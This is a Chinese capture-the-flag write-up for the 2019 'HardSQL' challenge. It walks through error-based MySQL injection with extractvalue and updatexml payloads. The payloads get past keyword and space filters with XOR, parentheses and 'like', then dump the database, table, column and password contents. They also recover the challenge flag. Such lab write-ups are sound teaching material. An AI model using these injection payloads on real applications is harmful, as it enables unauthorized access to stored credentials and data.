[极客大挑战 2019]HardSQL

1. 首页

老样子,先尝试万能头,但是显示报错:

猜测有关键词被过滤了

经过手工测试过滤了and、= ,空格, union等多个sql关键字

利用burp抓包,使用updatexml或者extractvalue报错法注入,使用^异或符号替换and

空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号

2. 查询数据库:

payload:

1
2
3
'^extractvalue(1,concat(0x7e,(select(database()))))%23
或者:
'^updatexml(1,concat(0x7e,(select(database()))),1)%23

结果为:geek

3. 查询数据表

payload:

1
2
3
'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
或者:
'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23

结果为:H4rDsq1

4. 查询字段

payload:

1
2
3
'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
或者:
'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23

结果:id,username,password

5. 查询字段内容

payload:

1
2
3
'^extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1))))%23
或者:
'^updatexml(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1))),1)%23

得到:flagflag{a2f129eb-de75-41f2-922

很明显,这个flag不完整,猜想是输出限制了长度

修改payload:

1
2
3
4
'^extractvalue(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1))))%23
然后:
'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))%23
先输出左边的30个字符串,然后再输出右边的字符串

或者:

1
2
3
'^updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1))),1)%23
然后:
'^updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1)%23

分别得到的结果:

1
2
3
flag{a2f129eb-de75-41f2-9223-a
b-de75-41f2-9223-a9005e4912e0}
拼接为:flag{a2f129eb-de75-41f2-9223-a9005e4912e0}